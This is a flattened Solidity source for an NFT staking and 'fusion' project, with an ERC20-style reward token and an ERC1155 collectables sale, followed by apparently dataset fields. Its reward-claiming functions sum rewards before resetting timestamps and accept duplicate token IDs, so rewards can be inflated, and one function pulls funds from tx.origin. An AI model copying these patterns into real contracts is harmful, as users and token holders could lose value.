tokenIds[i],
''
);
}
}
function viewRewards() external view returns (uint256)
{
uint256 payout = 0;
for(uint256 i = 0; i < _deposits[msg.sender].length(); i++)
{
payout = payout + totalRewardsToPay(_deposits[msg.sender].at(i));
}
return payout;
}
function claimRewards() external
{
for(uint256 i = 0; i < _deposits[msg.sender].length(); i++)
{
cosmictoken.getReward(msg.sender, totalRewardsToPay(_deposits[msg.sender].at(i)));
IDvsDaysStaked[_deposits[msg.sender].at(i)] = block.timestamp;
}
}
function totalRewardsToPay(uint256 tokenId) internal view returns(uint256)
{
uint256 payout = 0;
if(tokenId > 0 && tokenId <= genesisSupply)
{
payout = howManyDaysStaked(tokenId) * 20;
}
else if (tokenId > genesisSupply && tokenId <= maxSupply)
{
payout = howManyDaysStaked(tokenId) * 5;
}
return payout;
}
function howManyDaysStaked(uint256 tokenId) public view returns(uint256)
{
require(
_deposits[msg.sender].contains(tokenId),
'Token not deposited'
);
uint256 returndays;
uint256 timeCalc = block.timestamp - IDvsDaysStaked[tokenId];
returndays = timeCalc / 86400;
return returndays;
}
function walletOfOwner(address _owner) external view returns (uint256[] memory) {
uint256 tokenCount = balanceOf(_owner);
uint256[] memory tokensId = new uint256[](tokenCount);
for (uint256 i = 0; i < tokenCount; i++) {
tokensId[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokensId;
}
function returnStakedTokens() public view returns (uint256[] memory)
{
return _deposits[msg.sender].values();
}
function totalTokensInWallet() public view returns(uint256)
{
return cosmictoken.balanceOf(msg.sender);
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external pure override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
}
// File: cosmicFusion.sol
pragma solidity 0.8.7;
contract CosmicFusion is ERC721A, Ownable, ReentrancyGuard
{
using Address for address;
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
string public baseURI;
string public baseExtension = ".json";
mapping (uint256 => address) public fusionIndexToAddress;
mapping (uint256 => bool) public hasFused;
CosmicLabs public cosmicLabs;
constructor() ERC721A("Cosmic Fusion", "CFUSION", 100)
{
}
function setCosmicLabsAddress(address clabsAddress) public onlyOwner
{
cosmicLabs = CosmicLabs(clabsAddress);
}
modifier onlySender {
require(msg.sender == tx.origin);
_;
}
function teamMint(uint256 amount) public onlyOwner nonReentrant
{
for(uint i=0;i<amount;i++)
{
fusionIndexToAddress[_tokenIdTracker.current()] = msg.sender;
_tokenIdTracker.increment();
}
_safeMint(msg.sender, amount);
}
function FuseDucks(uint256[] memory tokenIds) public payable nonReentrant
{
require(tokenIds.length % 2 == 0, "Odd amount of Ducks Selected");
for(uint256 i=0; i<tokenIds.length; i++)
{
require(tokenIds[i] >= 1001 , "You selected a Genesis");
require(!hasFused[tokenIds[i]], "These ducks have already fused!");
cosmicLabs.transferFrom(msg.sender, 0x000000000000000000000000000000000000dEaD ,tokenIds[i]);
hasFused[tokenIds[i]] = true;
}
uint256 fuseAmount = tokenIds.length / 2;
for(uint256 i=0; i<fuseAmount; i++)
{
fusionIndexToAddress[_tokenIdTracker.current()] = msg.sender;
_tokenIdTracker.increment();
}
_safeMint(msg.sender, fuseAmount);
}
function _withdraw(address payable address_, uint256 amount_) internal {
(bool success, ) = payable(address_).call{value: amount_}("");
require(success, "Transfer failed");
}
function withdrawEther() external onlyOwner {
_withdraw(payable(msg.sender), address(this).balance);
}
function withdrawEtherTo(address payable to_) external onlyOwner {
_withdraw(to_, address(this).balance);
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension)) : "";
}
function walletOfOwner(address address_) public virtual view returns (uint256[] memory) {
uint256 _balance = balanceOf(address_);
uint256[] memory _tokens = new uint256[] (_balance);
uint256 _index;
uint256 _loopThrough = totalSupply();
for (uint256 i = 0; i < _loopThrough; i++) {
bool _exists = _exists(i);
if (_exists) {
if (ownerOf(i) == address_) { _tokens[_index] = i; _index++; }
}
else if (!_exists && _tokens[_balance - 1] == 0) { _loopThrough++; }
}
return _tokens;
}
function transferFrom(address from, address to, uint256 tokenId) public override {
fusionIndexToAddress[tokenId] = to;
ERC721A.transferFrom(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public override {
fusionIndexToAddress[tokenId] = to;
ERC721A.safeTransferFrom(from, to, tokenId, _data);
}
}
// File: cut.sol
pragma solidity 0.8.7;
contract CosmicUtilityToken is ERC20I, Ownable, ReentrancyGuard {
mapping (uint256 => uint256) public tokenIdEarned;
mapping (uint256 => uint256) public fusionEarned;
uint256 public GENESIS_RATE = 0.02777777777 ether;
uint256 public FUSION_RATE = 12 ether;
// Sat Feb 22 2022 05:00:00 GMT+0000
uint256 public startTime = 1645506000;
// Sat Feb 22 2025 05:00:00 GMT+0000
uint256 public constant endTimeFusion = 1740200400;
uint256 public totalTokensBurned = 0;
mapping (address => bool) public firstClaim;
mapping(uint256 => uint256) public fusionToTimestamp;
CosmicLabs public cosmicLabs;
CosmicToken public cosmicToken;
CosmicFusion public cosmicFusion;
constructor(address CLABS, address CUT) ERC20I("Cosmic Utility Token", "CUT")
{
cosmicLabs = CosmicLabs(CLABS);
cosmicToken = CosmicToken(CUT);
}
function setFusionContract(address fusionContract) public onlyOwner
{
cosmicFusion = CosmicFusion(fusionContract);
}
function setCosmicLabsContract(address clabsContract) public onlyOwner
{
cosmicLabs = CosmicLabs(clabsContract);
}
function changeGenesis_Rate(uint256 _incoming) public onlyOwner
{
GENESIS_RATE = _incoming;
}
function changeFusion_Rate(uint256 _incoming) public onlyOwner
{
FUSION_RATE = _incoming;
}
function teamMint(uint256 totalAmount) public onlyOwner stakingEnded
{
_mint(msg.sender, (totalAmount * 10 ** 18));
_mint(0xcD6a42782d230D7c13A74ddec5dD140e55499Df9, (totalAmount * 10 ** 18));
_mint(0x28dD793B34202eeaEe7D8e1Bb74b812641a503e0, (totalAmount * 10 ** 18));
_mint(0xe7D6f9bE83443BE2527f64bE07639776Fd422e1E, (totalAmount * 10 ** 18));
_mint(0x7b977283DE834A7e82d4f4F81bD8cc9267960459, (totalAmount * 10 ** 18));
_mint(0x5d8026cdC76A5731820B41963059249dfb131C65, (totalAmount * 10 ** 18));
_mint(0xd9bC4a4057eD82f58b0ABECDbe3cCaF8e81aF44A, (totalAmount * 10 ** 18));
_mint(0x83e02c9f0ec019f75d3B7E6Ac193109c9e7224EA, (totalAmount * 10 ** 18));
}
//migrate old cut to new cut
modifier hasMigrated
{
require(firstClaim[msg.sender] == false);
_;
}
modifier stakingEnded
{
require(block.timestamp < endTimeFusion);
_;
}
function migrateCut() public nonReentrant hasMigrated stakingEnded
{
uint256 howManyTokens = cosmicToken.balanceOf(msg.sender);
uint256 extraCommision = (howManyTokens * 10) / 100;
cosmicToken.transferFrom(msg.sender, address(this), howManyTokens);
firstClaim[msg.sender] = true;
_mint(msg.sender, (howManyTokens + extraCommision));
}
//Genesis Ducks functions
function claimRewards(uint256[] memory nftsToClaim) public nonReentrant stakingEnded
{
for(uint256 i=0;i<nftsToClaim.length;i++)
{
require(cosmicLabs.ownerOf(nftsToClaim[i]) == msg.sender, "You are not the owner of these tokens");
}
_mint(msg.sender, tokensAccumulated(nftsToClaim));
for(uint256 i=0; i<nftsToClaim.length;i++)
{
tokenIdEarned[nftsToClaim[i]] = block.timestamp;
}
}
function tokensAccumulated(uint256[] memory nftsToCheck) public view returns(uint256)
{
uint256 totalTokensEarned;
for(uint256 i=0; i<nftsToCheck.length;i++)
{
if(nftsToCheck[i] <= 1000)
{
totalTokensEarned += (howManyMinStaked(nftsToCheck[i]) * GENESIS_RATE);
}
}
return totalTokensEarned;
}
function howManyMinStaked(uint256 tokenId) public view returns(uint256)
{
uint256 timeCalc;
if(tokenIdEarned[tokenId] == 0)
{
timeCalc = block.timestamp - startTime;
}
else
{
timeCalc = block.timestamp - tokenIdEarned[tokenId];
}
uint256 returnMins = timeCalc / 60;
return returnMins;
}
//fusion passive staking methods
function getPendingTokensFusion(uint256 tokenId_) public view returns (uint256) {
uint256 _timestamp = fusionToTimestamp[tokenId_] == 0 ?
startTime : fusionToTimestamp[tokenId_] > endTimeFusion ?
endTimeFusion : fusionToTimestamp[tokenId_];
uint256 _currentTimeOrEnd = block.timestamp > endTimeFusion ?
endTimeFusion : block.timestamp;
uint256 _timeElapsed = _currentTimeOrEnd - _timestamp;
return (_timeElapsed * FUSION_RATE) / 1 days;
}
function getPendingTokensManyFusion(uint256[] memory tokenIds_) public view
returns (uint256) {
uint256 _pendingTokens;
for (uint256 i = 0; i < tokenIds_.length; i++) {
_pendingTokens += getPendingTokensFusion(tokenIds_[i]);
}
return _pendingTokens;
}
function claimFusion(address to_, uint256[] memory tokenIds_) external {
require(tokenIds_.length > 0,
"You must claim at least 1 Fusion!");
uint256 _pendingTokens = tokenIds_.length > 1 ?
getPendingTokensManyFusion(tokenIds_) :
getPendingTokensFusion(tokenIds_[0]);
// Run loop to update timestamp for each fusion
for (uint256 i = 0; i < tokenIds_.length; i++) {
require(to_ == cosmicFusion.fusionIndexToAddress(tokenIds_[i]),
"claim(): to_ is not owner of Cosmic Fusion!");
fusionToTimestamp[tokenIds_[i]] = block.timestamp;
}
_mint(to_, _pendingTokens);
}
function getPendingTokensOfAddress(address address_) public view returns (uint256) {
uint256[] memory _tokensOfAddress = cosmicFusion.walletOfOwner(address_);
return getPendingTokensManyFusion(_tokensOfAddress);
}
//deflationary
function burn(address _from, uint256 _amount) external
{
require(msg.sender == _from, "You do not own these tokens");
_burn(_from, _amount);
totalTokensBurned += _amount;
}
function burnFrom(address _from, uint256 _amount) public override
{
ERC20I.burnFrom(_from, _amount);
}
}
// File: @openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC1155/IERC1155Receiver.sol)
pragma solidity ^0.8.0;
/**
* @dev _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
* @dev Handles the receipt of a single ERC1155 token type. This function is
* called at the end of a `safeTransferFrom` after the balance has been updated.
*
* NOTE: To accept the transfer, this must return
* `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
* (i.e. 0xf23a6e61, or its own function selector).
*
* @param operator The address which initiated the transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param id The ID of the token being transferred
* @param value The amount of tokens being transferred
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external returns (bytes4);
/**
* @dev Handles the receipt of a multiple ERC1155 token types. This function
* is called at the end of a `safeBatchTransferFrom` after the balances have
* been updated.
*
* NOTE: To accept the transfer(s), this must return
* `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
* (i.e. 0xbc197c81, or its own function selector).
*
* @param operator The address which initiated the batch transfer (i.e. msg.sender)
* @param from The address which previously owned the token
* @param ids An array containing ids of each token being transferred (order and length must match values array)
* @param values An array containing amounts of each token being transferred (order and length must match ids array)
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/token/ERC1155/IERC1155.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC1155/ERC1155.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the basic standard multi-token.
* See https://eips.ethereum.org/EIPS/eip-1155
* Originally based on code by Enjin: https://github.com/enjin/erc-1155
*
* _Available since v3.1._
*/
contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI {
using Address for address;
// Mapping from token ID to account balances
mapping(uint256 => mapping(address => uint256)) private _balances;
// Mapping from account to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
// Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json
string private _uri;
/**
* @dev See {_setURI}.
*/
constructor(string memory uri_) {
_setURI(uri_);
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC1155).interfaceId ||
interfaceId == type(IERC1155MetadataURI).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC1155MetadataURI-uri}.
*
* This implementation returns the same URI for *all* token types. It relies
* on the token type ID substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* Clients calling this function must replace the `\{id\}` substring with the
* actual token type ID.
*/
function uri(uint256) public view virtual override returns (string memory) {
return _uri;
}
/**
* @dev See {IERC1155-balanceOf}.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) public view virtual override returns (uint256) {
require(account != address(0), "ERC1155: balance query for the zero address");
return _balances[id][account];
}
/**
* @dev See {IERC1155-balanceOfBatch}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] memory accounts, uint256[] memory ids)
public
view
virtual
override
returns (uint256[] memory)
{
require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch");
uint256[] memory batchBalances = new uint256[](accounts.length);
for (uint256 i = 0; i < accounts.length; ++i) {
batchBalances[i] = balanceOf(accounts[i], ids[i]);
}
return batchBalances;
}
/**
* @dev See {IERC1155-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC1155-isApprovedForAll}.
*/
function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {
return _operatorApprovals[account][operator];
}
/**
* @dev See {IERC1155-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_safeTransferFrom(from, to, id, amount, data);
}
/**
* @dev See {IERC1155-safeBatchTransferFrom}.
*/
function safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) public virtual override {
require(
from == _msgSender() || isApprovedForAll(from, _msgSender()),
"ERC1155: transfer caller is not owner nor approved"
);
_safeBatchTransferFrom(from, to, ids, amounts, data);
}
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
emit TransferSingle(operator, from, to, id, amount);
_doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _safeBatchTransferFrom(
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
require(to != address(0), "ERC1155: transfer to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; ++i) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: insufficient balance for transfer");
unchecked {
_balances[id][from] = fromBalance - amount;
}
_balances[id][to] += amount;
}
emit TransferBatch(operator, from, to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);
}
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
* substitution mechanism
* https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].
*
* By this mechanism, any occurrence of the `\{id\}` substring in either the
* URI or any of the amounts in the JSON file at said URI will be replaced by
* clients with the token type ID.
*
* For example, the `https://token-cdn-domain/\{id\}.json` URI would be
* interpreted by clients as
* `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`
* for token type ID 0x4cce0.
*
* See {uri}.
*
* Because these URIs cannot be meaningfully represented by the {URI} event,
* this function emits no events.
*/
function _setURI(string memory newuri) internal virtual {
_uri = newuri;
}
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mint(
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, _asSingletonArray(id), _asSingletonArray(amount), data);
_balances[id][to] += amount;
emit TransferSingle(operator, address(0), to, id, amount);
_doSafeTransferAcceptanceCheck(operator, address(0), to, id, amount, data);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function _mintBatch(
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {
require(to != address(0), "ERC1155: mint to the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, address(0), to, ids, amounts, data);
for (uint256 i = 0; i < ids.length; i++) {
_balances[ids[i]][to] += amounts[i];
}
emit TransferBatch(operator, address(0), to, ids, amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burn(
address from,
uint256 id,
uint256 amount
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), _asSingletonArray(id), _asSingletonArray(amount), "");
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
emit TransferSingle(operator, from, address(0), id, amount);
}
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
*/
function _burnBatch(
address from,
uint256[] memory ids,
uint256[] memory amounts
) internal virtual {
require(from != address(0), "ERC1155: burn from the zero address");
require(ids.length == amounts.length, "ERC1155: ids and amounts length mismatch");
address operator = _msgSender();
_beforeTokenTransfer(operator, from, address(0), ids, amounts, "");
for (uint256 i = 0; i < ids.length; i++) {
uint256 id = ids[i];
uint256 amount = amounts[i];
uint256 fromBalance = _balances[id][from];
require(fromBalance >= amount, "ERC1155: burn amount exceeds balance");
unchecked {
_balances[id][from] = fromBalance - amount;
}
}
emit TransferBatch(operator, from, address(0), ids, amounts);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC1155: setting approval status for self");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning, as well as batched variants.
*
* The same hook is called on both single and batched variants. For single
* transfers, the length of the `id` and `amount` arrays will be 1.
*
* Calling conditions (for each `id` and `amount` pair):
*
* - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* of token type `id` will be transferred to `to`.
* - When `from` is zero, `amount` tokens of token type `id` will be minted
* for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens of token type `id`
* will be burned.
* - `from` and `to` are never both zero.
* - `ids` and `amounts` have the same, non-zero length.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal virtual {}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {
if (response != IERC1155Receiver.onERC1155Received.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
if (to.isContract()) {
try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (
bytes4 response
) {
if (response != IERC1155Receiver.onERC1155BatchReceived.selector) {
revert("ERC1155: ERC1155Receiver rejected tokens");
}
} catch Error(string memory reason) {
revert(reason);
} catch {
revert("ERC1155: transfer to non ERC1155Receiver implementer");
}
}
}
function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {
uint256[] memory array = new uint256[](1);
array[0] = element;
return array;
}
}
// File: @openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/ERC1155Burnable.sol)
pragma solidity ^0.8.0;
/**
* @dev Extension of {ERC1155} that allows token holders to destroy both their
* own tokens and those that they have been approved to use.
*
* _Available since v3.1._
*/
abstract contract ERC1155Burnable is ERC1155 {
function burn(
address account,
uint256 id,
uint256 value
) public virtual {
require(
account == _msgSender() || isApprovedForAll(account, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_burn(account, id, value);
}
function burnBatch(
address account,
uint256[] memory ids,
uint256[] memory values
) public virtual {
require(
account == _msgSender() || isApprovedForAll(account, _msgSender()),
"ERC1155: caller is not owner nor approved"
);
_burnBatch(account, ids, values);
}
}
// File: CosmicLabsCollectables.sol
/// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;
contract CosmicLabsCollectables is ERC1155Burnable, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdTracker;
CosmicUtilityToken public cutToken;
string public baseURI;
string public baseExtension = ".json";
uint256 public cutPrice = 3000 ether;
uint256 public collectibleID = 1;
uint256 public maxIdsForSale = 10;
bool public saleOpen = true;
modifier isSaleOpen()
{
require(saleOpen == true);
_;
}
constructor(string memory _initBaseURI, address _yield) ERC1155(_initBaseURI)
{
setBaseURI(_initBaseURI);
cutToken = CosmicUtilityToken(_yield);
for(uint256 i=0; i<1; i++)
{
_mint(msg.sender, collectibleID, 1, "");
}
collectibleID += 1;
}
function setYieldToken(address _yield) public onlyOwner
{
cutToken = CosmicUtilityToken(_yield);
}
function setCutPrice(uint256 newCutPrice) public onlyOwner
{
cutPrice = (newCutPrice * 10 ** 18);
}
function setMaxCurrent(uint256 newMax) public onlyOwner
{
maxIdsForSale = newMax;
}
function flipSale() public onlyOwner
{
saleOpen = !saleOpen;
}
function nextCollectible(uint256 newCutPrice, uint256 maxSupplyOfNew, uint256 teamMint) public onlyOwner
{
collectibleID += 1;
cutPrice = (newCutPrice * 10 ** 18);
maxIdsForSale = maxSupplyOfNew;
_tokenIdTracker.reset();
if(teamMint > 0)
{
_mint(msg.sender, collectibleID, teamMint, "");
}
}
function totalTokens() public view returns (uint256)
{
return _tokenIdTracker.current();
}
function MintCosmicCollectible(uint256 amount) public payable isSaleOpen
{
require(cutToken.balanceOf(msg.sender) >= (cutPrice * amount), "You Don't Have Enough Cut Tokens!");
require((totalTokens() + amount) <= maxIdsForSale, "Surpassing the max supply!");
cutToken.transferFrom(tx.origin, address(this), (cutPrice * amount));
for(uint256 i=0; i<amount; i++)
{
_tokenIdTracker.increment();
}
_mint(msg.sender, collectibleID, amount, "");
}
function burnAllCUT() external onlyOwner {
cutToken.burn(address(this), cutToken.balanceOf(address(this)));
}
function withdrawContractEther(address payable recipient) external onlyOwner
{
recipient.transfer(getBalance());
}
function getBalance() public view returns(uint)
{
return address(this).balance;
}
function _baseURI() internal view virtual returns (string memory) {
return baseURI;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function uri(uint256 incomingTokenID) public view override virtual returns (string memory)
{
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI, incomingTokenID.toString(), baseExtension)) : "";
}
} | Sat Feb 22 2022 05:00:00 GMT+0000 Sat Feb 22 2025 05:00:00 GMT+0000 | contract CosmicUtilityToken is ERC20I, Ownable, ReentrancyGuard {
mapping (uint256 => uint256) public tokenIdEarned;
mapping (uint256 => uint256) public fusionEarned;
uint256 public GENESIS_RATE = 0.02777777777 ether;
uint256 public FUSION_RATE = 12 ether;
uint256 public startTime = 1645506000;
uint256 public constant endTimeFusion = 1740200400;
uint256 public totalTokensBurned = 0;
mapping (address => bool) public firstClaim;
mapping(uint256 => uint256) public fusionToTimestamp;
CosmicLabs public cosmicLabs;
CosmicToken public cosmicToken;
CosmicFusion public cosmicFusion;
